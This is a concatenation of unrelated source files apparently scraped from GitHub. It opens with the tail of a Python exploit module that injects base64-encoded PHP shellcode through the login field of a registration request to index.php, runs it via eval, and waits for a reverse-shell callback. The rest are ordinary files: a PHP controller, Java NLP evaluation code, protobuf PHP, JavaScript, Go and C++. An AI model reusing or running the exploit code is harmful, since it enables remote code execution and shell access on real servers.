s = Shellcodes.CrossOSShellcodes(self.callback_ip, port)
shellcode = s.create_shellcode(ShellUtils.Constants.ShellcodeType.PHP, True)
self.log("[>] Shellcode ready")
return shellcode
def run(self):
self.args()
self.log("Attacking {}".format(self.host))
if self.is_listener_connected() is None:
self.log('Please, enable listener to use this module')
self.finish(False)
b64_php = base64.b64encode(self.make_sploit()[6:-3].replace("'", '"'))
php = "eval(base64_decode('{}'));".format(b64_php)
command = '"];$PWN=''{}//''//"'.format(php)
data = urllib.urlencode({'creation' : '1', 'login' : command, 'pass' : 'abc123', 'confirm' : 'abc123', 'token' : ''})
request = urllib2.Request(self.make_url('/index.php'), data)
self.log('Uploading php shellcode')
try:
fd = urllib2.urlopen(request)
time.sleep(1)
self.log(fd.read())
except Exception as e:
self.log(e)
self.finish(False)
while True:
if self.is_listener_connected():
break
time.sleep(3)
self.finish(True)
if __name__ == '__main__':
"""
By now we only have the tool mode for exploit..
Later we would have standalone mode also.
"""
print "Running exploit %s .. " % INFO['NAME']
e = exploit('', 80)
e.run()
|
{
"pile_set_name": "Github"
}
|
{
"name": "flowName",
"description": "flow description",
"options": {
"identifier": ""
},
"steps": {}
}
|
{
"pile_set_name": "Github"
}
|
<?php
namespace App\Controllers;
use App\Models\InviteCode;
use App\Models\User;
use App\Models\Code;
use App\Models\Payback;
use App\Models\Paylist;
use App\Services\Auth;
use App\Services\Config;
use App\Utils\Tools;
use App\Utils\Telegram;
use App\Utils\Tuling;
use App\Utils\TelegramSessionManager;
use App\Utils\QRcode;
use App\Utils\Pay;
use App\Utils\TelegramProcess;
use App\Utils\Spay_tool;
/**
* HomeController
*/
class HomeController extends BaseController
{
public function index()
{
return $this->view()->display('index.tpl');
}
public function code()
{
$codes = InviteCode::where('user_id', '=', '0')->take(10)->get();
return $this->view()->assign('codes', $codes)->display('code.tpl');
}
public function down()
{
}
public function tos()
{
return $this->view()->display('tos.tpl');
}
public function staff()
{
return $this->view()->display('staff.tpl');
}
public function telegram($request, $response, $args)
{
$token = "";
if (isset($request->getQueryParams()["token"])) {
$token = $request->getQueryParams()["token"];
}
if ($token == Config::get('telegram_request_token')) {
TelegramProcess::process();
} else {
echo("不正确请求!");
}
}
public function page404($request, $response, $args)
{
$pics=scandir(BASE_PATH."/public/theme/".(Auth::getUser()->isLogin==false?Config::get("theme"):Auth::getUser()->theme)."/images/error/404/");
if (count($pics)>2) {
$pic=$pics[rand(2, count($pics)-1)];
} else {
$pic="4041.png";
}
$newResponse = $response->withStatus(404);
$newResponse->getBody()->write($this->view()->assign("pic", "/theme/".(Auth::getUser()->isLogin==false?Config::get("theme"):Auth::getUser()->theme)."/images/error/404/".$pic)->display('404.tpl'));
return $newResponse;
}
public function page405($request, $response, $args)
{
$pics=scandir(BASE_PATH."/public/theme/".(Auth::getUser()->isLogin==false?Config::get("theme"):Auth::getUser()->theme)."/images/error/405/");
if (count($pics)>2) {
$pic=$pics[rand(2, count($pics)-1)];
} else {
$pic="4051.png";
}
$newResponse = $response->withStatus(405);
$newResponse->getBody()->write($this->view()->assign("pic", "/theme/".(Auth::getUser()->isLogin==false?Config::get("theme"):Auth::getUser()->theme)."/images/error/405/".$pic)->display('405.tpl'));
return $newResponse;
}
public function page500($request, $response, $args)
{
$pics=scandir(BASE_PATH."/public/theme/".(Auth::getUser()->isLogin==false?Config::get("theme"):Auth::getUser()->theme)."/images/error/500/");
if (count($pics)>2) {
$pic=$pics[rand(2, count($pics)-1)];
} else {
$pic="5001.png";
}
$newResponse = $response->withStatus(500);
$newResponse->getBody()->write($this->view()->assign("pic", "/theme/".(Auth::getUser()->isLogin==false?Config::get("theme"):Auth::getUser()->theme)."/images/error/500/".$pic)->display('500.tpl'));
return $newResponse;
}
public function pay_callback($request, $response, $args)
{
Pay::callback($request);
}
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2011, Regents of the University of Colorado
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* Neither the name of the University of Colorado at Boulder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
package org.cleartk.timeml.eval;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.apache.uima.analysis_engine.AnalysisEngine;
import org.apache.uima.analysis_engine.AnalysisEngineDescription;
import org.apache.uima.analysis_engine.AnalysisEngineProcessException;
import org.apache.uima.cas.CAS;
import org.apache.uima.cas.impl.XmiCasDeserializer;
import org.apache.uima.collection.CollectionReader;
import org.apache.uima.fit.component.JCasAnnotator_ImplBase;
import org.apache.uima.fit.descriptor.ConfigurationParameter;
import org.apache.uima.fit.factory.AggregateBuilder;
import org.apache.uima.fit.factory.AnalysisEngineFactory;
import org.apache.uima.fit.pipeline.JCasIterator;
import org.apache.uima.fit.pipeline.SimplePipeline;
import org.apache.uima.jcas.JCas;
import org.cleartk.corpus.timeml.TempEval2010CollectionReader;
import org.cleartk.corpus.timeml.TempEval2010GoldAnnotator;
import org.cleartk.corpus.timeml.TempEval2010Writer;
import org.cleartk.eval.AnnotationStatistics;
import org.cleartk.eval.Evaluation_ImplBase;
import org.cleartk.ml.jar.JarClassifierBuilder;
import org.cleartk.util.ViewUriUtil;
import org.cleartk.util.ae.XmiWriter;
import org.xml.sax.SAXException;
/**
* <br>
* Copyright (c) 2011, Regents of the University of Colorado <br>
* All rights reserved.
*
* @author Steven Bethard
*/
public class TempEval2010Evaluation extends
Evaluation_ImplBase<String, Map<ModelInfo<?>, AnnotationStatistics<String>>> {
public static final String GOLD_VIEW_NAME = "GoldView";
public static final String SYSTEM_VIEW_NAME = CAS.NAME_DEFAULT_SOFA;
private File trainDir;
private File testDir;
private List<File> dataDirs;
private List<String> goldAnnotatorParamsForViewsRequiredBySystem;
private String goldAnnotatorParamForViewAnnotatedBySystem;
private String timemlWriterParamForViewAnnotatedBySystem;
private List<AnalysisEngineDescription> preprocessingAnnotators;
private List<? extends ModelInfo<?>> modelInfos;
public TempEval2010Evaluation(
File trainDir,
File testDir,
File outputDirectory,
List<String> goldAnnotatorParamsForViewsRequiredBySystem,
String goldAnnotatorParamForViewAnnotatedBySystem,
String timemlWriterParamForViewAnnotatedBySystem,
List<AnalysisEngineDescription> preprocessingAnnotators,
List<? extends ModelInfo<?>> modelInfos) throws Exception {
super(outputDirectory);
this.trainDir = trainDir;
this.testDir = testDir;
this.dataDirs = Arrays.asList(trainDir, testDir);
this.goldAnnotatorParamsForViewsRequiredBySystem = goldAnnotatorParamsForViewsRequiredBySystem;
this.goldAnnotatorParamForViewAnnotatedBySystem = goldAnnotatorParamForViewAnnotatedBySystem;
this.timemlWriterParamForViewAnnotatedBySystem = timemlWriterParamForViewAnnotatedBySystem;
this.preprocessingAnnotators = preprocessingAnnotators;
this.modelInfos = modelInfos;
}
@Override
protected CollectionReader getCollectionReader(List<String> items) throws Exception {
return TempEval2010CollectionReader.getCollectionReader(this.dataDirs, new HashSet<String>(
items));
}
@Override
protected void train(CollectionReader collectionReader, File directory) throws Exception {
// run the XMI reader and the classifier data writers
AggregateBuilder builder = new AggregateBuilder();
builder.add(AnalysisEngineFactory.createEngineDescription(
XMIReader.class,
XMIReader.PARAM_XMI_DIRECTORY,
this.getXMIDirectory(directory, Stage.TRAIN).getPath()));
for (ModelInfo<?> modelInfo : this.modelInfos) {
File outputDir = modelInfo.getModelSubdirectory(directory);
builder.add(modelInfo.modelFactory.getWriterDescription(outputDir));
}
SimplePipeline.runPipeline(collectionReader, builder.createAggregateDescription());
// train the classifiers
for (ModelInfo<?> modelInfo : this.modelInfos) {
File modelDir = modelInfo.getModelSubdirectory(directory);
JarClassifierBuilder.trainAndPackage(modelDir, modelInfo.trainingArguments);
}
// if building to the pre-defined training directory, clean up non-model files
for (ModelInfo<?> modelInfo : this.modelInfos) {
File modelDir = modelInfo.modelFactory.getTrainingDirectory();
if (modelDir.exists()) {
for (File file : modelDir.listFiles()) {
File modelFile = JarClassifierBuilder.getModelJarFile(modelDir);
if (!file.isDirectory() && !file.equals(modelFile)) {
file.delete();
}
}
}
}
}
@Override
protected Map<ModelInfo<?>, AnnotationStatistics<String>> test(
CollectionReader collectionReader,
File directory) throws Exception {
// prepare the XMI reader, the classifiers and the TempEval writer
AggregateBuilder builder = new AggregateBuilder();
builder.add(AnalysisEngineFactory.createEngineDescription(
XMIReader.class,
XMIReader.PARAM_XMI_DIRECTORY,
this.getXMIDirectory(directory, Stage.TEST).getPath()));
for (ModelInfo<?> modelInfo : this.modelInfos) {
File modelFile = JarClassifierBuilder.getModelJarFile(modelInfo.getModelSubdirectory(directory));
builder.add(modelInfo.modelFactory.getAnnotatorDescription(modelFile.getPath()));
}
builder.add(AnalysisEngineFactory.createEngineDescription(
TempEval2010Writer.class,
TempEval2010Writer.PARAM_OUTPUT_DIRECTORY,
new File(directory, "eval").getPath(),
TempEval2010Writer.PARAM_TEXT_VIEW,
SYSTEM_VIEW_NAME,
this.timemlWriterParamForViewAnnotatedBySystem,
SYSTEM_VIEW_NAME));
// create statistics for each feature that is classified
Map<ModelInfo<?>, AnnotationStatistics<String>> modelInfoToStatistics;
modelInfoToStatistics = new HashMap<ModelInfo<?>, AnnotationStatistics<String>>();
for (ModelInfo<?> modelInfo : this.modelInfos) {
modelInfoToStatistics.put(modelInfo, new AnnotationStatistics<String>());
}
// gather statistics over all the CASes in the test set
AnalysisEngine engine = builder.createAggregate();
JCasIterator iter = new JCasIterator(collectionReader, engine);
while (iter.hasNext()) {
JCas jCas = iter.next();
JCas goldView = jCas.getView(GOLD_VIEW_NAME);
JCas systemView = jCas.getView(SYSTEM_VIEW_NAME);
for (ModelInfo<?> modelInfo : this.modelInfos) {
AnnotationStatistics<String> statistics = modelInfoToStatistics.get(modelInfo);
modelInfo.updateStatistics(statistics, goldView, systemView);
}
}
engine.collectionProcessComplete();
return modelInfoToStatistics;
}
private enum Stage {
TRAIN, TEST
}
private File getXMIDirectory(File directory, Stage stage) throws Exception {
int dotIndex = Math.max(0, this.goldAnnotatorParamForViewAnnotatedBySystem.lastIndexOf('.'));
String name = this.goldAnnotatorParamForViewAnnotatedBySystem.substring(dotIndex + 1);
File xmiDirectory = new File(new File(new File(directory, "xmi"), name), stage.toString());
// create XMIs if necessary
if (!xmiDirectory.exists()) {
Set<String> fileNames = new HashSet<String>();
fileNames.addAll(TempEval2010CollectionReader.getAnnotatedFileNames(this.trainDir));
fileNames.addAll(TempEval2010CollectionReader.getAnnotatedFileNames(this.testDir));
CollectionReader reader = TempEval2010CollectionReader.getCollectionReader(
this.dataDirs,
fileNames);
List<String> viewParams = Arrays.asList(
TempEval2010GoldAnnotator.PARAM_TEXT_VIEWS,
TempEval2010GoldAnnotator.PARAM_DOCUMENT_CREATION_TIME_VIEWS,
TempEval2010GoldAnnotator.PARAM_TIME_EXTENT_VIEWS,
TempEval2010GoldAnnotator.PARAM_TIME_ATTRIBUTE_VIEWS,
TempEval2010GoldAnnotator.PARAM_EVENT_EXTENT_VIEWS,
TempEval2010GoldAnnotator.PARAM_EVENT_ATTRIBUTE_VIEWS,
TempEval2010GoldAnnotator.PARAM_TEMPORAL_LINK_EVENT_TO_DOCUMENT_CREATION_TIME_VIEWS,
TempEval2010GoldAnnotator.PARAM_TEMPORAL_LINK_EVENT_TO_SAME_SENTENCE_TIME_VIEWS,
TempEval2010GoldAnnotator.PARAM_TEMPORAL_LINK_EVENT_TO_SUBORDINATED_EVENT_VIEWS,
TempEval2010GoldAnnotator.PARAM_TEMPORAL_LINK_MAIN_EVENT_TO_NEXT_SENTENCE_MAIN_EVENT_VIEWS);
// determine the view parameters for the gold annotator
List<Object> goldAnnotatorParams = new ArrayList<Object>();
for (String viewParam : viewParams) {
goldAnnotatorParams.add(viewParam);
String[] paramValue;
switch (stage) {
case TRAIN:
// during training, put all required annotations, and the annotations from which the
// models will be trained, in the system view
paramValue = this.goldAnnotatorParamsForViewsRequiredBySystem.contains(viewParam)
|| viewParam.equals(this.goldAnnotatorParamForViewAnnotatedBySystem)
? new String[] { SYSTEM_VIEW_NAME }
: new String[] {};
break;
case TEST:
// during testing, put required annotation in both views, and the annotations which the
// model is supposed to predict only in the gold view
if (this.goldAnnotatorParamsForViewsRequiredBySystem.contains(viewParam)) {
paramValue = new String[] { SYSTEM_VIEW_NAME, GOLD_VIEW_NAME };
} else if (viewParam.equals(this.goldAnnotatorParamForViewAnnotatedBySystem)) {
paramValue = new String[] { GOLD_VIEW_NAME };
} else {
paramValue = new String[] {};
}
break;
default:
throw new IllegalArgumentException();
}
goldAnnotatorParams.add(paramValue);
}
// run the gold annotator, the preprocessing annotators, and the XMI writer
AggregateBuilder builder = new AggregateBuilder();
builder.add(AnalysisEngineFactory.createEngineDescription(
TempEval2010GoldAnnotator.class,
goldAnnotatorParams.toArray()));
for (AnalysisEngineDescription desc : this.preprocessingAnnotators) {
builder.add(desc);
}
builder.add(AnalysisEngineFactory.createEngineDescription(
XmiWriter.class,
XmiWriter.PARAM_OUTPUT_DIRECTORY,
xmiDirectory.getPath()));
SimplePipeline.runPipeline(reader, builder.createAggregateDescription());
}
return xmiDirectory;
}
public static class XMIReader extends JCasAnnotator_ImplBase {
@ConfigurationParameter(
name = PARAM_XMI_DIRECTORY,
mandatory = true)
protected File xmiDirectory;
public static final String PARAM_XMI_DIRECTORY = "xmiDirectory";
protected File getFile(JCas jCas) throws AnalysisEngineProcessException {
return new File(this.xmiDirectory, ViewUriUtil.getURI(jCas).getFragment() + ".xmi");
}
@Override
public void process(JCas jCas) throws AnalysisEngineProcessException {
try {
FileInputStream stream = new FileInputStream(this.getFile(jCas));
try {
XmiCasDeserializer.deserialize(stream, jCas.getCas());
} finally {
stream.close();
}
} catch (SAXException e) {
throw new AnalysisEngineProcessException(e);
} catch (IOException e) {
throw new AnalysisEngineProcessException(e);
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/firestore/v1beta1/firestore.proto
namespace Google\Cloud\Firestore\V1beta1;
use Google\Protobuf\Internal\GPBType;
use Google\Protobuf\Internal\RepeatedField;
use Google\Protobuf\Internal\GPBUtil;
/**
* The request for [Firestore.BeginTransaction][google.firestore.v1beta1.Firestore.BeginTransaction].
*
* Generated from protobuf message <code>google.firestore.v1beta1.BeginTransactionRequest</code>
*/
class BeginTransactionRequest extends \Google\Protobuf\Internal\Message
{
/**
* Required. The database name. In the format:
* `projects/{project_id}/databases/{database_id}`.
*
* Generated from protobuf field <code>string database = 1 [(.google.api.field_behavior) = REQUIRED];</code>
*/
private $database = '';
/**
* The options for the transaction.
* Defaults to a read-write transaction.
*
* Generated from protobuf field <code>.google.firestore.v1beta1.TransactionOptions options = 2;</code>
*/
private $options = null;
/**
* Constructor.
*
* @param array $data {
* Optional. Data for populating the Message object.
*
* @type string $database
* Required. The database name. In the format:
* `projects/{project_id}/databases/{database_id}`.
* @type \Google\Cloud\Firestore\V1beta1\TransactionOptions $options
* The options for the transaction.
* Defaults to a read-write transaction.
* }
*/
public function __construct($data = NULL) {
\GPBMetadata\Google\Firestore\V1Beta1\Firestore::initOnce();
parent::__construct($data);
}
/**
* Required. The database name. In the format:
* `projects/{project_id}/databases/{database_id}`.
*
* Generated from protobuf field <code>string database = 1 [(.google.api.field_behavior) = REQUIRED];</code>
* @return string
*/
public function getDatabase()
{
return $this->database;
}
/**
* Required. The database name. In the format:
* `projects/{project_id}/databases/{database_id}`.
*
* Generated from protobuf field <code>string database = 1 [(.google.api.field_behavior) = REQUIRED];</code>
* @param string $var
* @return $this
*/
public function setDatabase($var)
{
GPBUtil::checkString($var, True);
$this->database = $var;
return $this;
}
/**
* The options for the transaction.
* Defaults to a read-write transaction.
*
* Generated from protobuf field <code>.google.firestore.v1beta1.TransactionOptions options = 2;</code>
* @return \Google\Cloud\Firestore\V1beta1\TransactionOptions
*/
public function getOptions()
{
return $this->options;
}
/**
* The options for the transaction.
* Defaults to a read-write transaction.
*
* Generated from protobuf field <code>.google.firestore.v1beta1.TransactionOptions options = 2;</code>
* @param \Google\Cloud\Firestore\V1beta1\TransactionOptions $var
* @return $this
*/
public function setOptions($var)
{
GPBUtil::checkMessage($var, \Google\Cloud\Firestore\V1beta1\TransactionOptions::class);
$this->options = $var;
return $this;
}
}
|
{
"pile_set_name": "Github"
}
|
fileFormatVersion: 2
guid: 68632fac46cb1354fa368e1278cea3fb
timeCreated: 1451205257
licenseType: Free
MonoImporter:
serializedVersion: 2
defaultReferences: []
executionOrder: 0
icon: {instanceID: 0}
userData:
assetBundleName:
assetBundleVariant:
|
{
"pile_set_name": "Github"
}
|
app.view.note.menu = app.view.note.menu || {};
app.view.note.menu.base = {
getInitialState: function () {
return {
active: (this.props.context === 'note' || this.props.context === 'tracker') ? 'add' : null,
fullview: true // menu is always visible in edit mode
};
},
componentWillMount: function () {
this.events = _.clone(Backbone.Events);
},
componentDidMount: function () {
},
shouldComponentUpdate: function (nextProps, nextState) {
return true;
},
componentDidUpdate: function () {
//app.lib.focus.restore();
},
componentWillUnmount: function () {
},
itemClicked: function (event) {
var type = $(event.target).data('type');
this.setState({ active: null });
switch (type) {
case 'more':
app.events.trigger('contextmenu', event.target, {
type: 'textmenu',
items: [
{
icon: 'icon-trash-alt',
text: 'Delete'
},
{
icon: 'icon-cog',
text: 'Settings'
}
]
});
break;
case 'archive':
this.props.model.archiveNote();
break;
case 'remove':
this.props.model.removeNote();
break;
case 'tag':
if (!this.props.model.data().tag) {
this.props.model.setTag();
}
else {
this.props.model.removeTag();
}
break;
}
this.setState({ active: type });
},
render: function () {
var content = this.renderItems(this.state.active);
return (
React.DOM.div({
className: window.classnames({
'noselect': true,
'picker': true,
'active': this.state.active,
'fullview':this.state.fullview
})
},
React.DOM.div({ className: 'hint', onClick: this.itemClicked },
React.DOM.i({ className: 'item icon-ellipsis' })
),
React.DOM.div({ className: 'content' },
React.DOM.div({ className: 'root' },
this.renderItems('root', this.state.active)
),
content ? React.DOM.div({ className: 'sub' },
content
) : null
)
)
);
},
renderItems: function (parent, active) {
if (parent === 'options') {
return app.view.note.options[this.props.context]({
model: this.props.model,
events: this.props.events
});
//return this['render.options.' + this.props.context]();
}
else {
var items = this.commands[parent];
return _.map(items, function (item, index) {
return React.DOM.i({
key: index,
'className': item.icon + ' ' + window.classnames({
'item': true,
'active': active === item.value
}),
'data-type': item.value,
onClick: this.execute.bind(this, parent, item.value),
style: item.color ? { color: app.lib.color(item.color) } : {},
title: item.text
});
}, this);
}
},
execute: function (parent, command, event) {
if (this.commands[command] || command === 'options') {
if (this.state.active === command) {
this.setState({ active: null });
}
else {
this.setState({ active: command });
}
}
else {
switch (parent) {
case 'root': {
this.setState({ active: null });
switch (command) {
case 'more': {
this.menu(event);
//this['menu.' + this.props.context](event);
break;
}
case 'tag': {
this.tag();
break;
}
}
break;
}
case 'add': {
this.props.model.addItem(this.props.context, command);
break;
}
case 'color': {
this.props.model.updateColor(command);
break;
}
}
}
},
clear: function () {
//TODO: context avare reset
this.props.model.reset();
},
moveToArchive: function () {
this.props.model.setStatus(this.props.context, 'archive');
},
moveToTrash: function () {
this.props.model.setStatus(this.props.context, 'trash');
},
moveToAll: function () {
this.props.model.setStatus(this.props.context, 'all');
},
moveToInbox: function () {
this.props.model.setStatus(this.props.context, 'inbox');
},
remove: function () {
this.props.model.remove(this.props.context);
},
tag: function () {
if (!this.props.model.data('tag')) {
this.props.model.setTag();
}
else {
this.props.model.removeTag();
}
},
releseTag: function () {
this.props.model.update({ tag: { $set: null } });
delete this.props.model.data().tag;
this.props.model.save(this.props.context);
},
releseAndDelete: function () {
this.props.model.update({ tag: { $set: null } });
delete this.props.model.data().tag;
this.props.model.save(this.props.context).done(function () {
this.props.model.collection.remove(this.props.model);
}.bind(this));
}
};
|
{
"pile_set_name": "Github"
}
|
package util
import (
"testing"
)
func TestStack(t *testing.T) {
var st Stack
floatElement := 12.0
stringElement := "el"
intElement := 3
st.Push(floatElement)
st.Push(stringElement)
st.Push(intElement)
if 3 != st.Len() {
t.Fatalf("Expected stack length of %d, got %d", 3, st.Len())
}
pop1 := st.Pop()
pop2 := st.Pop()
pop3 := st.Pop()
noElementsLeft := 0 == st.Len()
if intElement != pop1 {
t.Fatalf("Expected element to be %d, got %d", intElement, pop1)
}
if stringElement != pop2 {
t.Fatalf("Expected element to be %s, got %s", stringElement, pop2)
}
if floatElement != pop3 {
t.Fatalf("Expected element to be %6.2f, got %6.2f", floatElement, pop3)
}
if !noElementsLeft {
t.Fatalf("Expected noElementsLeft to be %t, got %t", true, noElementsLeft)
}
}
|
{
"pile_set_name": "Github"
}
|
//
// Copyright 2018 The Simons Foundation, Inc. - All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
#include "itensor/mps/mps.h"
#include "itensor/mps/mpo.h"
#include "itensor/mps/localop.h"
#include "itensor/util/print_macro.h"
#include "itensor/tensor/slicemat.h"
namespace itensor {
using std::istream;
using std::ostream;
using std::cout;
using std::endl;
using std::vector;
using std::find;
using std::pair;
using std::make_pair;
using std::string;
using std::move;
void
plussers(Index const& l1,
Index const& l2,
Index & sumind,
ITensor & first,
ITensor & second)
{
if(not hasQNs(l1) && not hasQNs(l2))
{
auto m = dim(l1)+dim(l2);
if(m <= 0) m = 1;
sumind = Index(m,tags(sumind));
first = delta(l1,sumind);
auto S = Matrix(dim(l2),dim(sumind));
for(auto i : range(dim(l2)))
{
S(i,dim(l1)+i) = 1;
}
second = matrixITensor(std::move(S),l2,sumind);
}
else
{
auto siq = stdx::reserve_vector<QNInt>(nblock(l1)+nblock(l2));
for(auto n : range1(nblock(l1)))
{
siq.emplace_back(qn(l1,n),blocksize(l1,n));
}
for(auto n : range1(nblock(l2)))
{
siq.emplace_back(qn(l2,n),blocksize(l2,n));
}
#ifdef DEBUG
if(siq.empty()) Error("siq is empty in plussers");
#endif
sumind = Index(std::move(siq),
dir(sumind),
tags(sumind));
first = ITensor(dag(l1),sumind);
int n = 1;
for(auto j : range1(nblock(l1)))
{
auto D = Tensor(blocksize(l1,j),blocksize(sumind,n));
auto minsize = std::min(D.extent(0),D.extent(1));
for(auto i : range(minsize)) D(i,i) = 1.0;
getBlock<Real>(first,{j,n}) &= D;
++n;
}
second = ITensor(dag(l2),sumind);
for(auto j : range1(nblock(l2)))
{
auto D = Tensor(blocksize(l2,j),blocksize(sumind,n));
auto minsize = std::min(D.extent(0),D.extent(1));
for(auto i : range(minsize)) D(i,i) = 1.0;
getBlock<Real>(second,{j,n}) &= D;
++n;
}
}
}
//
// Adds two MPSs but doesn't attempt to
// orthogonalize them first
//
template <class MPSType>
MPSType&
addAssumeOrth(MPSType & L,
MPSType const& R,
Args const& args)
{
auto N = length(L);
if(length(R) != N) Error("Mismatched MPS sizes");
// Make sure there aren't link index clashes between L and R
// by priming by a random amount
// TODO: use L.simLinkInds() to avoid clashing insteda of priming
auto rand_plev = 1254313;
auto l = linkInds(L);
L.replaceLinkInds(prime(linkInds(L),rand_plev));
auto first = vector<ITensor>(N);
auto second = vector<ITensor>(N);
for(auto i : range1(N-1))
{
auto l1 = linkIndex(L,i);
auto l2 = linkIndex(R,i);
auto r = l1;
plussers(l1,l2,r,first[i],second[i]);
}
L.ref(1) = L(1) * first.at(1) + R(1) * second.at(1);
for(auto i : range1(2,N-1))
{
L.ref(i) = dag(first.at(i-1)) * L(i) * first.at(i)
+ dag(second.at(i-1)) * R(i) * second.at(i);
}
L.ref(N) = dag(first.at(N-1)) * L(N) + dag(second.at(N-1)) * R(N);
L.replaceLinkInds(prime(linkInds(L),-rand_plev));
L.orthogonalize(args);
return L;
}
template MPS& addAssumeOrth<MPS>(MPS & L,MPS const& R, Args const& args);
template MPO& addAssumeOrth<MPO>(MPO & L,MPO const& R, Args const& args);
void
fitWF(MPS const& psi_basis, MPS & psi_to_fit)
{
if(!itensor::isOrtho(psi_basis))
Error("psi_basis must be orthogonolized.");
if(orthoCenter(psi_basis) != 1)
Error("psi_basis must be orthogonolized to site 1.");
auto N = length(psi_basis);
if(length(psi_to_fit) != N)
Error("Wavefunctions must have same number of sites.");
auto A = psi_to_fit(N) * dag(prime(psi_basis(N),"Link"));
for(int n = N-1; n > 1; --n)
{
A *= dag(prime(psi_basis(n),"Link"));
A *= psi_to_fit(n);
}
A = psi_to_fit(1) * A;
A.noPrime();
auto nrm = norm(A);
if(nrm == 0) Error("Zero inner of psi_to_fit and psi_basis");
A /= nrm;
psi_to_fit = psi_basis;
psi_to_fit.ref(1) = A;
}
bool
checkQNs(MPS const& psi)
{
const int N = length(psi);
QN Zero;
int center = findCenter(psi);
if(center == -1)
{
cout << "Did not find an ortho. center\n";
return false;
}
//Check that all IQTensors have zero div
//except possibly the ortho. center
for(int i = 1; i <= N; ++i)
{
if(i == center) continue;
if(!psi(i))
{
println("A(",i,") null, QNs not well defined");
return false;
}
if(div(psi(i)) != Zero)
{
cout << "At i = " << i << "\n";
Print(psi(i));
cout << "ITensor other than the ortho center had non-zero divergence\n";
return false;
}
}
//Check arrows from left edge
for(int i = 1; i < center; ++i)
{
if(dir(rightLinkIndex(psi,i)) != In)
{
println("checkQNs: At site ",i," to the left of the OC, Right side Link not pointing In");
return false;
}
if(i > 1)
{
if(dir(leftLinkIndex(psi,i)) != Out)
{
println("checkQNs: At site ",i," to the left of the OC, Left side Link not pointing Out");
return false;
}
}
}
//Check arrows from right edge
for(int i = N; i > center; --i)
{
if(i < N)
if(dir(rightLinkIndex(psi,i)) != Out)
{
println("checkQNs: At site ",i," to the right of the OC, Right side Link not pointing Out");
return false;
}
if(dir(leftLinkIndex(psi,i)) != In)
{
println("checkQNs: At site ",i," to the right of the OC, Left side Link not pointing In");
return false;
}
}
//Done checking arrows
return true;
}
QN
totalQN(MPS const& psi)
{
auto tq = QN();
auto sj = psi.leftLim()+1;
auto ej = psi.rightLim()-1;
for(int j = sj; j <= ej; ++j)
{
tq += flux(psi(j));
}
return tq;
}
} //namespace itensor
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) 1996-2009 Nokia Corporation and/or its subsidiary(-ies).
// All rights reserved.
// This component and the accompanying materials are made available
// under the terms of the License "Eclipse Public License v1.0"
// which accompanies this distribution, and is available
// at the URL "http://www.eclipse.org/legal/epl-v10.html".
//
// Initial Contributors:
// Nokia Corporation - initial contribution.
//
// Contributors:
//
// Description:
// f32\sfat\sl_vfat.cpp
//
//
#include "sl_std.h"
#include "sl_cache.h"
#include <e32svr.h>
#include <e32math.h>
IMPORT_C const TFatUtilityFunctions* GetFatUtilityFunctions();
const TInt KMaxLengthWithoutTilde = 8;
const TUint8 KLeadingE5Replacement = 0x05;
// use second half of ISO Latin 1 character set for extended chars
const TUint KExtendedCharStart=0x80;
const TUint KExtendedCharEnd=0xff;
#define KMaxVFatEntries 21 ///< Max possible number of entries in the VFAT entryset
//-----------------------------------------------------------------------------
/**
Returns ETrue if aCharacter is legal inside a dos filename
*/
static TBool IsLegalChar(TChar aCharacter,TBool aAllowWildChars,TBool aUseExtendedChars=EFalse,TBool aInScanDrive=EFalse)
{
if ((aCharacter==KMatchOne) || (aCharacter==KMatchAny))
return(aAllowWildChars);
if ((TUint)aCharacter < 0x20)
return EFalse;
// Don't check illegal ascii char because some non-English char value may
// fall in this area
if (aInScanDrive)
return ETrue;
return LocaleUtils::IsLegalShortNameCharacter(aCharacter,aUseExtendedChars);
}
//-----------------------------------------------------------------------------
static void ReplaceFirstCharacterIfClashesWithE5L(TDes8& aShortName)
{
if (0 < aShortName.Length() && aShortName[0] == KEntryErasedMarker)
{
aShortName[0] = KLeadingE5Replacement;
}
}
//-----------------------------------------------------------------------------
static void ReplaceIllegalCharactersL(TDes& aLongName, TUint aCharacterToReplaceWith)
{
TBool alreadyFoundExtensionDelimiter=EFalse;
TInt LongNameLen = aLongName.Length();
TInt extDelimiterIndex = aLongName.LocateReverse(KExtDelimiter);
